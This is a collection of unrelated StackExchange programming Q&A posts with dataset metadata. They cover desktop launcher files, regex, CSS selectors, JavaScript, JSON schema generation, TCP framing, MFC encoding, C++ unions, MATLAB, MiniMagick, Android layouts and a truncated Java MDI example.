Icon=org-jabref-jabrefmain.png
Path=/home/jkalliau/prgm/JabRef
Exec=java -jar JabRef--master--latest.jar %U
Name=JabRef
GenericName=BibTeX Editor
Comment=JabRef is an open source bibliography reference manager.
Keywords=bibtex;biblatex;latex;bibliography
Categories=Office;
StartupWMClass=org-jabref-JabRefMain
MimeType=text/x-bibtex;
and with Maple:
[Desktop Entry]
Version=1.0
Encoding=UTF-8
Name=Maple 2018
Type=Application
Comment=Maple 2018
Exec=/home/jkalliau/maple2018/bin/xmaple %f
Terminal=false
Icon=/home/jkalliau/maple2018/bin/Maple2018.png
GenericName=Maple
Categories=Applications;Education;Mathematics;
MimeType=application/x-maple-worksheet;
If I do the same as in How to add Eclipse to Favorites? I have the icon twice, once added to favorites and once the opened file.
A:
Create a .desktop-file with the identical name of the opened program:
for JabRef: org.jabref.JabRefMain.desktop
for Maple: java-lang-Thread.desktop
for Eclipse: eclipse.desktop (according to https://unix.stackexchange.com/a/59654/241592 )
You can see name in the left upper corner
or in the Pop-up of the icon in the favourite-list
As suggest on https://askubuntu.com/a/1120331/676490 after creation of the .desktop-file:
go to activities
search the application
Click "Add to Favorites"
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How would I extract this with Python regular expressions?
I'm trying to pull the date time out from:
<time datetime="2015-07-25T10:06:46-0700">2015-07-25 10:06am</time>
Any help would be appreciated, thanks!
A:
Use BeautifulSoup parser.
>>> html = '''<time datetime="2015-07-25T10:06:46-0700">2015-07-25 10:06am</time>'''
>>> from bs4 import BeautifulSoup
>>> soup = BeautifulSoup(html)
>>> soup.findAll('time')[0].text
'2015-07-25 10:06am'
With re,
re.search(r'<time\b[^>]*>([^<>]*)</time>', s).group(1)
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How can class and id in css help you in testing(qa)?
What differs #name from .name in CSS? How can this help me in testing?
A:
The CSS # selector is for selecting which elements will be styled according to the element's ID, while the . CSS selector is for selecting which elements will be styled according to the element's class name.
So, using #name will select only an element with id='name', and using .name will select all elements with class='name'.
Regarding your question: How can this help me in testing?
Using CSS selectors have nothing to do with testing. It has to do with selecting which elements to style according to their ID or class attributes.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How do I Get Text from Dynamically created element in JavaScript
I am dynamically creating Div Text in JS and was wondering how I access the various text upon click.
Here is what I have tried so far;
My Dynamically created div
function Message(Side, message) {
var divChat = '<div class="direct-chat-msg ' + Side + '">' +
'<div id="myDiv" class="direct-chat-text">' + message + '</div>' +
'<div id="accountMenu">' +
'<li onclick = "getMessage(' + message + ')" id="replyDiv">Reply</li>' +
'<li>Preferences</li>' +
'</ul>' +
'</div></div>';
$('#divChatWindow').append(divChat);
}
JS when the li is clicked on.
function getMessage(str) {
alert(str);
}
The error I am getting is:
Uncaught ReferenceError: *whaeverthemessageis* is not defined
at HTMLLIElement.onclick
What is the best solution to solve this problem?
Thanks =)
A:
You have malformed html using single and double quotes. The message is being treated as a variable, not a string, hence the undefined error.
replace:
'<li onclick = "getMessage(' + message + ')" id="replyDiv">Reply</li>' +
with this:
'<li onclick = "getMessage(\'' + message + '\')" id="replyDiv">Reply</li>' +
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Generate json schema from pojo in java - custom date type
I am using https://github.com/mbknor/mbknor-jackson-jsonSchema for generating json schema but when my object contains LocalDate, LocalDate will look like this:
"LocalDate" : {
"type" : "object",
"additionalProperties" : false,
"properties" : {
"year" : {
"type" : "integer"
},
"month" : {
"type" : "string",
"enum" : [ "JANUARY", "FEBRUARY", "MARCH", "APRIL", "MAY", "JUNE", "JULY", "AUGUST", "SEPTEMBER", "OCTOBER", "NOVEMBER", "DECEMBER" ]
},
"era" : {
"$ref" : "#/definitions/Era"
},
"dayOfYear" : {
"type" : "integer"
},
"dayOfWeek" : {
"type" : "string",
"enum" : [ "MONDAY", "TUESDAY", "WEDNESDAY", "THURSDAY", "FRIDAY", "SATURDAY", "SUNDAY" ]
},
"leapYear" : {
"type" : "boolean"
},
"dayOfMonth" : {
"type" : "integer"
},
"monthValue" : {
"type" : "integer"
},
"chronology" : {
"$ref" : "#/definitions/IsoChronology"
}
},
"required" : [ "year", "dayOfYear", "leapYear", "dayOfMonth", "monthValue" ]
},
"Era" : {
"type" : "object",
"additionalProperties" : false,
"properties" : {
"value" : {
"type" : "integer"
}
},
"required" : [ "value" ]
},
"IsoChronology" : {
"type" : "object",
"additionalProperties" : false,
"properties" : {
"calendarType" : {
"type" : "string"
},
"id" : {
"type" : "string"
}
}
}
Can someone help me how can I change LocalDate type to string and also add field format which will be date?
My code is in groovy since I am writing groovy plugin:
ObjectMapper mapper = new ObjectMapper()
JsonSchemaGenerator jsonSchemaGenerator = new JsonSchemaGenerator(mapper)
JsonNode schema = jsonSchemaGenerator.generateJsonSchema(MyClass.class)
I want my LocalDate field to look like this:
"MyField": {
"type": "string",
"format": "date"
}
Thank you for any help.
A:
You can tell the schema generator that you want to declare some type in the schema as if they were another type. So you can say that you want to declare each LocalDate as a String.
For that, you need to create a JsonSchemaConfig object and pass it to the JsonSchemaGenerator constructor.
In the classReMapping map you can remap types to other types.
Map<Class<?>, Class<?>> classTypeReMapping = new HashMap<>();
classTypeReMapping.put(LocalDate.class, String.class);
Optionally, in the typeToFormatMapping mapping, you can map types to format annotations. The format that you are using for LocalDate is exactly the format date as defined in the JSON schema specification:
Map<String, String> typeToFormatMapping = new HashMap<>();
typeToFormatMapping.put(LocalDate.class.getName(), "date");
Constructing a complete JsonSchemaConfig:
boolean autoGenerateTitleForProperties = false;
String defaultArrayFormat = null;
boolean useOneOfForOption = true;
boolean useOneOfForNullables = false;
boolean usePropertyOrdering = false;
boolean hidePolymorphismTypeProperty = false;
boolean disableWarnings = false;
boolean useMinLengthForNotNull = false;
boolean useTypeIdForDefinitionName = false;
boolean useMultipleEditorSelectViaProperty = false;
Set<Class<?>> uniqueItemClasses = Collections.emptySet();
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enable(SerializationFeature.INDENT_OUTPUT);
Map<Class<?>, Class<?>> classTypeReMapping = new HashMap<>();
classTypeReMapping.put(LocalDate.class, String.class);
// #####****##### Add remapped types here
Map<String, String> typeToFormatMapping = new HashMap<>();
typeToFormatMapping.put(LocalDate.class.getName(), "date");
// #####****##### (optional) Add format annotations for types here
JsonSchemaConfig config = JsonSchemaConfig.create(
autoGenerateTitleForProperties,
Optional.ofNullable(defaultArrayFormat),
useOneOfForOption,
useOneOfForNullables,
usePropertyOrdering,
hidePolymorphismTypeProperty,
disableWarnings,
useMinLengthForNotNull,
useTypeIdForDefinitionName,
typeToFormatMapping,
useMultipleEditorSelectViaProperty,
uniqueItemClasses,
classTypeReMapping,
Collections.emptyMap()
)
Building a JsonSchemaGenerator:
JsonSchemaGenerator jsonSchemaGenerator = new JsonSchemaGenerator(objectMapper, config);
Class<?> mainClassObject = ...;
JsonNode jsonSchema = jsonSchemaGenerator.generateJsonSchema(mainClassObject);
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Packets Are Stacked When Sent at Regular Intervals
I am trying to send a message over a TCP socket at a regular interval (every second). Sometimes the full message will not be sent or two-four messages will be stacked and sent at once. I have if statements for if the return value is 0 or < 0, but those are never true. I tried the obvious approach of checking the exact return value of send() to see if less or more bytes were sent. It just returns the number that I specify in the parameter to send (which makes sense if send blocks until it sends that much), even if less bytes are sent. So is there an accurate way to say "was the right size packet sent? no? - do something"?
A:
TCP provides a reliable stream of bytes, there's no message boundary. If you need to know the length of the message you have to build this into the protocol, eg: send every message with a 2 byte header which specifies the message length.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
C++ UTF-8/ASCII to UTF-16 in MFC
How can I convert a (text) file from UTF-8/ASCII to UTF-16 before it will be displaying in a MFC program?
Because MFC uses 16 bits per character and the most (text) files on windows use UTF-8 or ASCII.
A:
The simple answer is called MultiByteToWideChar and WideCharToMultiByte to do the reverse conversion. There's also CW2A and CA2W that are a little simpler to use.
However, I would strongly recommand against using these functions directly. You have the pain of handling character buffers manually with the risk of creating memory corruption or security holes.
It's much better to use a library based on std::string and/or iterators. For example, utf8cpp. This one has the advantage to be small, header-only and multiplatform.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
C2280: attempting to reference a deleted function (union, struct, copy constructor)
I have a problem with misleading error messages, when I try to compile the following minimal sample in Visual Studio 2015:
class Vector
{
float x;
float y;
public:
Vector(float x, float y) : x(x), y(y) {}
Vector& operator = (const Vector& v) { x = v.x; y = v.y; return *this; }
//Vector(Vector&&) = default;
};
class Rect
{
public:
union {
struct {
Vector p1, p2;
};
struct {
float p1x, p1y, p2x, p2y;
};
};
Rect() : p1(0,0), p2(0,0) {}
Rect(Vector& p1, Vector& p2) : p1(p1), p2(p2) {}
/*Rect(const Rect&) = default;
Rect& operator=(const Rect&) = default;
Rect& operator=(Rect&&) = default;
Rect(Rect&&) = default;*/
};
int main()
{
Rect test = Rect();
test = Rect();
return 0;
}
I got the following error messages:
1>...main.cpp(56): error C2280: 'Rect &Rect::operator =(const Rect &)': attempting to reference a deleted function
1>...main.cpp(50): note: compiler has generated 'Rect::operator =' here
The compiler tries to tell me that, the copy constructor of class Rect is a deleted function. So I tried to add all kinds of additional (copy) constructors and assignment operators like shown below but without success:
Rect(const Rect&) = default;
Rect& operator=(const Rect&) = default;
Rect& operator=(Rect&&) = default;
Rect(Rect&&) = default;
I recognized that the error actually is not caused in the Rect class. When I comment the line
Vector& operator = (const Vector& v) { x = v.x; y = v.y; return *this; }
the error disappiers and when I want to keep this line, I have to add the following line:
Vector(Vector&&) = default;
However, this problem seems to show up only if I am using unions and structs inside my Rect class.
So I do not know, where my error is actually caused or if just the error message points to the wrong class.
A:
Repeating the error message:
main.cpp(56): error C2280: 'Rect &Rect::operator =(const Rect &)': attempting to reference a deleted function
This is fairly clear: the member function operator= with parameter const Rect & has been deleted, but your code tries to call it on the line test = Rect();.
You then say:
The compiler tries to tell me that, the copy constructor of class Rect is a deleted function
However, you misread the error. The error is about the function operator =, which is called copy assignment operator. This is a different function to copy constructor, which would look like Rect::Rect(const Rect &).
You say that you tried adding:
Rect& operator=(const Rect&) = default;
However this would make no difference. The compiler-generated operator= function is deleted because it is not possible for the compiler to generate one (explanation for this comes below); writing = default; does not change this. You have to actually write your own body for operator= which performs the actions that you want to occur when an assignment happens.
In Standard C++ it is not permitted to have an anonymous struct, let alone an anonymous struct inside an anonymous union. So you are really out on your own here. The rules your compiler is using regarding operator=, copy constructor, etc. are not covered by any Standard.
A version of your Rect that is compilable in Standard C might look like:
class Rect
{
public:
struct S1 {
Vector p1, p2;
S1(Vector p1, Vector p2): p1(p1), p2(p2) {}
};
struct S2 {
float p1x, p1y, p2x, p2y;
};
union {
struct S1 s1;
struct S2 s2;
};
Rect() : s1({0, 0}, {0, 0}) {}
Rect(Vector p1, Vector p2) : s1(p1, p2) {}
};
So far, so good. For this class, the implicitly-declared operator= is defined as deleted. To see why , we first have to look at the implicitly-declared special functions for the anonymous union, because the behaviour of implicitly-declared function for a class depends on the behaviour of the same operation for each of its members.
The relevant rule here for the union is C++14 [class.union]/1:
If any non-static data member of a union has a non-trivial default constructor , copy constructor, move constructor, copy assignment operator, move assignment operator, or destructor, the corresponding member function of the union must be user-provided or it will be implicitly deleted for the union.
Vector has a non-trivial operator=, because you write your own body for it. Therefore S1 has non-trivial operator=, because it has a member with non-trivial operator=, and so according to the above quote, the implicitly-declared operator= for the union is deleted.
Note that there is no error about the copy-constructor: Vector does have a trivial copy-constructor, so the union does too.
To fix this error you could do one of two things:
Change Vector::operator= to be trivial, either by removing your definition entirely, or making it = default;
Write operator= for the Rect class
Now, how would you write your own operator=? Do you do s1 = other.s1;, or do you do s2 = other.s2; ? The compiler can't know that on its own, which is the reason behind the implicitly-declared operator= being deleted.
Now, it seems you overlooked (either accidentally or deliberately) the rule about active members in C++:
In a union, at most one of the non-static data members can be active at any time
This means that if s1 is the last member set, then you'd have to do s1 = other.s1;. Or if s2 is the last member set, you'd have to do s2 = other.s2;.
The copy-constructor doesn't run into this problem because it is trivial: the compiler can generate a bit-wise copy and that will correctly implement the copy regardless of which member was active. But since your operator= is non-trivial, that would not be possible.
For example, imagine if you actually had a union of std::string and std::vector - bitwise copy doesn't work for either of those and you need to know which one is active in order to perform the copy.
Reiterating: In standard C++ it is not permitted to read a member of a union other than the one most recently written to. You can't use unions for aliasing. C++ has other language tools to achieve what you might do in C with union aliasing, see here for more discussion.
Based on the choice of members for your anonymous structs I suspect that this is what you intended to do. If you really want to go ahead with this approach, relying on your compiler implementing union aliasing as a non-standard extension, then my advice would be to use the defaulted operator= for your Vector class.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Matlab : Insert values from a 2-d matrix into a 3-d matrix on some condition
output is a 3d matrix with size(output) == [height width N] and input is a 2d matrix with size(input) == [height width] . I need to implement the following code in one line.
for k = 1:size(output,3)
f = output(:,:,k);
i_zero = (f==0);
f(is_zero) = input(is_zero);
output(:,:,k) = f;
end
A:
bsxfun approach -
output = bsxfun(@times,output==0,input) + output
Alternative approach -
output = (output==0).*input(:,:,ones(1,N))+ output
A:
I hope the "I need to implement" is not a homework.
Here goes a solution that should solve your problem although not in one line.
new_input=repmat(input,1,1,size(output,3));
output(output==0)=new_input(output==0);
A:
All the answers solve the problem when there is a exact comparison to 0 (as OP required) but for the sake of generalization if you intend to change for another comparison be aware that not all methods work in the same way.
Example below:
CODE:
%Simulation
output=rand(10,10,3);
input=rand(10,10);
% output=randi(9,10,10,3);
% input=randi(9,10,10);
%OP code
output2=[]
for k = 1:size(output,3)
f = output(:,:,k);
i_zero = (f<0.5);
f(i_zero) = input(i_zero);
output2(:,:,k) = f;
end
%repmat code
output3=output;
new_input=repmat(input,1,1,size(output,3));
output3(output<0.5)=new_input(output<0.5);
any(output2(:)-output3(:))
%bsxfun code
output4 = bsxfun(@times,output<0.5,input) + output;
any(output2(:)-output4(:))
%other variation code
output5 = (output<0.5).*input(:,:,ones(1,size(output,3)))+ output;
any(output2(:)-output5(:))
% bultin code
output6=output;
output6(output<0.5)=builtin('_paren',repmat(input,[1,1,size(output,3)]),output<0.5);
any(output2(:)-output6(:))
'-----'
any(abs(output2(:)-output3(:))>eps)
any(abs(output2(:)-output4(:))>eps)
any(abs(output2(:)-output5(:))>eps)
any(abs(output2(:)-output6(:))>eps)
'-----'
sum(abs(output2(:)-output3(:)))
sum(abs(output2(:)-output4(:)))
sum(abs(output2(:)-output5(:)))
sum(abs(output2(:)-output6(:)))
OUTPUT:
ans =
0
ans =
1
ans =
1
ans =
0
-----
ans =
0
ans =
1
ans =
1
ans =
0
-----
ans =
0
ans =
150.5088
ans =
150.5088
ans =
0
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Rails-MiniMagick open file from controller
Simple question that I am having trouble with. I'm using MiniMagick and I want to open an image file from my controller that is stored in my assets/images file but not having luck. I keep getting 'No such file or directory @ rb_sysopen'. Here is what I have. Any help would be appreciated.
def create
source= MiniMagick::Image.open('/assets/images/background001.jgp')
end
A:
Your filename extension is transposed. ;)
/assets/images/background001.**jgp** vs. **.jpg**
The leading / references the root of the machine.
Use.
source= MiniMagick::Image.open('app/assets/images/background001.jpg')
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Linearlayout displaying button incorrectly
Just a small issue with my layout that I have when running my app on a smaller device such as a phone, on a tablet it renders fine. One of the buttons seems to be being 'squeezed' by the others and is rendered vertically.
Heres a screenshot of the problem area
my xml is as follows.
<?xml version="1.0" encoding="utf-8"?>
<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent" >
<LinearLayout
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:layout_margin="8dp"
android:orientation="vertical" >
<ImageView
android:id="@+id/imageView1"
android:layout_width="78dp"
android:layout_height="78dp"
android:layout_alignParentTop="true" />
<TextView
android:id="@+id/txtEventNameTitle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Event Name"
android:textSize="19dp"
android:textStyle="bold"
android:layout_below="@+id/imageView1" />
<TextView
android:id="@+id/txtEventName"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textSize="16dp"
android:layout_below="@+id/txtEventNameTitle" />
<TextView
android:id="@+id/txtEventDateTitle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Event Date"
android:textSize="19dp"
android:textStyle="bold" />
<TextView
android:id="@+id/txtEventDate"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textSize="16dp" />
<TextView
android:id="@+id/txtEventTimeTitle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Event Time"
android:textSize="19dp"
android:textStyle="bold" />
<TextView
android:id="@+id/txtEventTime"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textSize="16dp" />
<TextView
android:id="@+id/txtEventLocationTitle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Event Location"
android:textSize="19dp"
android:textStyle="bold" />
<TextView
android:id="@+id/txtEventLocation"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textSize="16dp" />
<TextView
android:id="@+id/txtEventDetailsTitle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Event Details"
android:textSize="19dp"
android:textStyle="bold" />
<TextView
android:id="@+id/txtEventDetails"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textSize="16dp" />
<LinearLayout
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:measureWithLargestChild="true"
android:orientation="horizontal"
>
<Button
android:id="@+id/btnAddToCal"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:layout_marginBottom="20dp"
android:text="Add to Calendar"
android:layout_weight="1"/>
<Button
android:id="@+id/btnAddToMyEvents"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Add to my Events"
android:layout_marginTop="20dp"
android:layout_weight="1"
android:layout_toRightOf="@+id/btnAddToCal"
/>
<Button
android:id="@+id/btnSendToTwitter"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Share"
android:layout_marginTop="20dp"
android:layout_weight="1"
android:minWidth="40dp"
/>
<Button
android:id="@+id/btnSendToMaps"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Get directions"
android:layout_marginTop="20dp"
android:layout_weight="1"
android:layout_toRightOf="@+id/btnAddToMyEvents"
/>
</LinearLayout>
<fragment
android:id="@+id/map"
android:layout_width="fill_parent"
android:layout_height="300dp"
class="com.google.android.gms.maps.SupportMapFragment"
android:layout_marginBottom="10dp"
/>
</LinearLayout>
</ScrollView>
A:
Change your code as below. You are not setting the weightSum as well as you are setting wrap_content to your buttons which is the problem making your buttons displaying in wrong way.
<LinearLayout
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:measureWithLargestChild="true"
android:orientation="horizontal"
android:weightSum="4">
<Button
android:id="@+id/btnAddToCal"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:layout_marginBottom="20dp"
android:text="Add to Calendar"
android:layout_weight="1"/>
<Button
android:id="@+id/btnAddToMyEvents"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:text="Add to my Events"
android:layout_marginTop="20dp"
android:layout_weight="1"
android:layout_toRightOf="@+id/btnAddToCal"
/>
<Button
android:id="@+id/btnSendToTwitter"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:text="Share"
android:layout_marginTop="20dp"
android:layout_weight="1"
android:minWidth="40dp"
/>
<Button
android:id="@+id/btnSendToMaps"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:text="Get directions"
android:layout_marginTop="20dp"
android:layout_weight="1"
android:layout_toRightOf="@+id/btnAddToMyEvents"
/>
</LinearLayout>
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Close InternalJFrame without selected the frame
I am really new for Java. I have question about getting the JInternalFrame . I searched the web and find the example. I modified the example a little bit, adding a close menuitem but it didn't work my code. In the project if I closed the JInternalFrame without select it first, then I have error. I tried to loop through the WindowMenu for getting the selected JcheckboxMenuitem, but it didn't get any components. Would someone tell me what to do.
There is the code:
// This is example is from Kjell Dirdal.
// Referenced from http://www.javaworld.com/javaworld/jw-05-2001/jw-0525-mdi.html
import java.awt.BorderLayout;
import java.awt.Component;
import java.awt.Dimension;
import java.awt.Insets;
import java.awt.Point;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.beans.PropertyVetoException;
import javax.swing.DefaultDesktopManager;
import javax.swing.JCheckBoxMenuItem;
import javax.swing.JComponent;
import javax.swing.JDesktopPane;
import javax.swing.JFrame;
import javax.swing.JInternalFrame;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JViewport;
import javax.swing.event.MenuEvent;
import javax.swing.event.MenuListener;
public class KjellDirdalNotepad extends JFrame {
private MDIDesktopPane desktop = new MDIDesktopPane();
private JMenuBar menuBar = new JMenuBar();
private JMenu fileMenu = new JMenu("File");
private JMenuItem newMenu = new JMenuItem("New");
private JScrollPane scrollPane = new JScrollPane();
private JMenuItem closeMenu=new JMenuItem("Close");
private int index=1;
private WindowMenu wMenu=null;
public KjellDirdalNotepad() {
menuBar.add(fileMenu);
wMenu=new WindowMenu(desktop);
menuBar.add(wMenu);
fileMenu.add(newMenu);
fileMenu.add(closeMenu);
setJMenuBar(menuBar);
setTitle("MDI Test");
scrollPane.getViewport().add(desktop);
getContentPane().setLayout(new BorderLayout());
getContentPane().add(scrollPane, BorderLayout.CENTER);
addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {
System.exit(0);
}
});
newMenu.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ae) {
desktop.add(new TextFrame(String.valueOf(index)));
index=index+1;
}
});
//I added the close menu
closeMenu.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ae) {
JInternalFrame f=desktop.getSelectedFrame();
if (f==null)
{
for (Component child: wMenu.getComponents()){
if (child instanceof WindowMenu.ChildMenuItem){
JCheckBoxMenuItem item=(JCheckBoxMenuItem) child;
if( item.isSelected()){
DisplayTestMsg(item.getText());
}
}
}
}
else{
f.dispose();
}
}
});
}
public void DisplayTestMsg(String msg){
//custom title, error icon
JTextArea textArea=new JTextArea(msg);
textArea.setColumns(30);
textArea.setLineWrap( true );
textArea.setWrapStyleWord( true );
textArea.setSize(textArea.getPreferredSize().width, 1);
JOptionPane.showMessageDialog(null,
textArea,
"Test",
JOptionPane.WARNING_MESSAGE);
}
public static void main(String[] args) {
KjellDirdalNotepad notepad = new KjellDirdalNotepad();
notepad.setSize(600, 400);
notepad.setVisible(true);
}
}
class TextFrame extends JInternalFrame {
private JTextArea textArea = new JTextArea();
private JScrollPane scrollPane = new JScrollPane();
public TextFrame(String title) {
setSize(200, 300);
setTitle("Edit Text-" + title);
setMaximizable(true);
setIconifiable(true);
setClosable(true);
setResizable(true);
scrollPane.getViewport().add(textArea);
getContentPane().setLayout(new BorderLayout());
getContentPane().add(scrollPane, BorderLayout.CENTER);
}
}
/**
* An extension of WDesktopPane that supports often used MDI functionality. This
* class also handles setting scroll bars for when windows move too far to the
* left or bottom, providing the MDIDesktopPane is in a ScrollPane.
*/
class MDIDesktopPane extends JDesktopPane {
private static int FRAME_OFFSET = 20;
private MDIDesktopManager manager;
public MDIDesktopPane() {
manager = new MDIDesktopManager(this);
setDesktopManager(manager);
setDragMode(JDesktopPane.OUTLINE_DRAG_MODE);
}
public void setBounds(int x, int y, int w, int h) {
super.setBounds(x, y, w, h);
checkDesktopSize();
}
public Component add(JInternalFrame frame) {
JInternalFrame[] array = getAllFrames();
Point p;
int w;
int h;
Component retval = super.add(frame);
checkDesktopSize();
if (array.length > 0) {
p = array[0].getLocation();
p.x = p.x + FRAME_OFFSET;
p.y = p.y + FRAME_OFFSET;
} else {
p = new Point(0, 0);
}
frame.setLocation(p.x, p.y);
if (frame.isResizable()) {
w = getWidth() - (getWidth() / 3);
h = getHeight() - (getHeight() / 3);
if (w < frame.getMinimumSize().getWidth())
w = (int) frame.getMinimumSize().getWidth();
if (h < frame.getMinimumSize().getHeight())
h = (int) frame.getMinimumSize().getHeight();
frame.setSize(w, h);
}
moveToFront(frame);
frame.setVisible(true);
try {
frame.setSelected(true);
} catch (PropertyVetoException e) {
frame.toBack();
}
return retval;
}
public void remove(Component c) {
super.remove(c);
checkDesktopSize();
}
/**
* Cascade all internal frames
*/
public void cascadeFrames() {
int x = 0;
int y = 0;
JInternalFrame allFrames[] = getAllFrames();
manager.setNormalSize();
int frameHeight = (getBounds().height - 5) - allFrames.length * FRAME_OFFSET;
int frameWidth = (getBounds().width - 5) - allFrames.length * FRAME_OFFSET;
for (int i = allFrames.length - 1; i >= 0; i--) {
allFrames[i].setSize(frameWidth, frameHeight);
allFrames[i].setLocation(x, y);
x = x + FRAME_OFFSET;
y = y + FRAME_OFFSET;
}
}
/**
* Tile all internal frames
*/
public void tileFrames() {
java.awt.Component allFrames[] = getAllFrames();
manager.setNormalSize();
int frameHeight = getBounds().height / allFrames.length;
int y = 0;
for (int i = 0; i < allFrames.length; i++) {
allFrames[i].setSize(getBounds().width, frameHeight);
allFrames[i].setLocation(0, y);
y = y + frameHeight;
}
}
/**
* Sets all component size properties ( maximum, minimum, preferred) to the
* given dimension.
*/
public void setAllSize(Dimension d) {
setMinimumSize(d);
setMaximumSize(d);
setPreferredSize(d);
}
/**
* Sets all component size properties ( maximum, minimum, preferred) to the
* given width and height.
*/
public void setAllSize(int width, int height) {
setAllSize(new Dimension(width, height));
}
private void checkDesktopSize() {
if (getParent() != null && isVisible())
manager.resizeDesktop();
}
}
/**
* Private class used to replace the standard DesktopManager for JDesktopPane.
* Used to provide scrollbar functionality.
*/
class MDIDesktopManager extends DefaultDesktopManager {
private MDIDesktopPane desktop;
public MDIDesktopManager(MDIDesktopPane desktop) {
this.desktop = desktop;
}
public void endResizingFrame(JComponent f) {
super.endResizingFrame(f);
resizeDesktop();
}
public void endDraggingFrame(JComponent f) {
super.endDraggingFrame(f);
resizeDesktop();
}
public void setNormalSize() {
JScrollPane scrollPane = getScrollPane();
int x = 0;
int y = 0;
Insets scrollInsets = getScrollPaneInsets();
if (scrollPane != null) {
Dimension d = scrollPane.getVisibleRect().getSize();
if (scrollPane.getBorder() != null) {
d.setSize(d.getWidth() - scrollInsets.left - scrollInsets.right, d.getHeight()
- scrollInsets.top - scrollInsets.bottom);
}
d.setSize(d.getWidth() - 20, d.getHeight() - 20);
desktop.setAllSize(x, y);
scrollPane.invalidate();
scrollPane.validate();
}
}
private Insets getScrollPaneInsets() {
JScrollPane scrollPane = getScrollPane();
if (scrollPane == null)
return new Insets(0, 0, 0, 0);
else
return getScrollPane().getBorder().getBorderInsets(scrollPane);
}
private JScrollPane getScrollPane() {
if (desktop.getParent() instanceof JViewport) {
JViewport viewPort = (JViewport) desktop.getParent();
if (viewPort.getParent() instanceof JScrollPane)
return (JScrollPane) viewPort.getParent();
}
return null;
}
protected void resizeDesktop() {
int x = 0;
int y = 0;
JScrollPane scrollPane = getScrollPane();
Insets scrollInsets = getScrollPaneInsets();
if (scrollPane != null) {
JInternalFrame allFrames[] = desktop.getAllFrames();
for (int i = 0; i < allFrames.length; i++) {
if (allFrames[i].getX() + allFrames[i].getWidth() > x) {
x = allFrames[i].getX() + allFrames[i].getWidth();
}
if (allFrames[i].getY() + allFrames[i].getHeight() > y) {
y = allFrames[i].getY() + allFrames[i].getHeight();
}
}
Dimension d = scrollPane.getVisibleRect().getSize();
if (scrollPane.getBorder() != null) {
d.setSize(d.getWidth() - scrollInsets.left - scrollInsets.right, d.getHeight()
- scrollInsets.top - scrollInsets.bottom);
}
if (x <= d.getWidth())
x = ((int) d.getWidth()) - 20;
if (y <= d.getHeight())
y = ((int) d.getHeight()) - 20;
desktop.setAllSize(x, y);
scrollPane.invalidate();
scrollPane.validate();
}
}
}
/**
* Menu component that handles the functionality expected of a standard
* "Windows" menu for MDI applications.
*/
class WindowMenu extends JMenu {
private MDIDesktopPane desktop;
private JMenuItem cascade = new JMenuItem("Cascade");
private JMenuItem tile = new JMenuItem("Tile");
public WindowMenu(MDIDesktopPane desktop) {
this.desktop = desktop;
setText("Window");
cascade.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ae) {
WindowMenu.this.desktop.cascadeFrames();
}
});
tile.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ae) {
WindowMenu.this.desktop.tileFrames();
}
});
addMenuListener(new MenuListener() {
public void menuCanceled(MenuEvent e) {
}
public void menuDeselected(MenuEvent e) {
removeAll();
}
public void menuSelected(MenuEvent e) {
buildChildMenus();
}
});
}
/* Sets up the children menus depending on the current desktop state */
private void buildChildMenus() {
int i;
ChildMenuItem menu;
JInternalFrame[] array = desktop.getAllFrames();
add(cascade);
add(tile);
if (array.length > 0)
addSeparator();
cascade.setEnabled(array.length > 0);
tile.setEnabled(array.length > 0);
for (i = 0; i < array.length; i++) {
menu = new ChildMenuItem(array[i]);
menu.setState(i == 0);
menu.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ae) {
JInternalFrame frame = ((ChildMenuItem) ae.getSource()).getFrame();
frame.moveToFront();
try {
frame.setSelected(true);
} catch (PropertyVetoException e) {
e.printStackTrace();
}
}
});
menu.setIcon(array[i].getFrameIcon());
add(menu);
}
}
/*
* This JCheckBoxMenuItem descendant is used to track the child frame that
* corresponds to a give menu.
*/
class ChildMenuItem extends JCheckBoxMenuItem {
private JInternalFrame frame;
public ChildMenuItem(JInternalFrame frame) {
super(frame.getTitle());
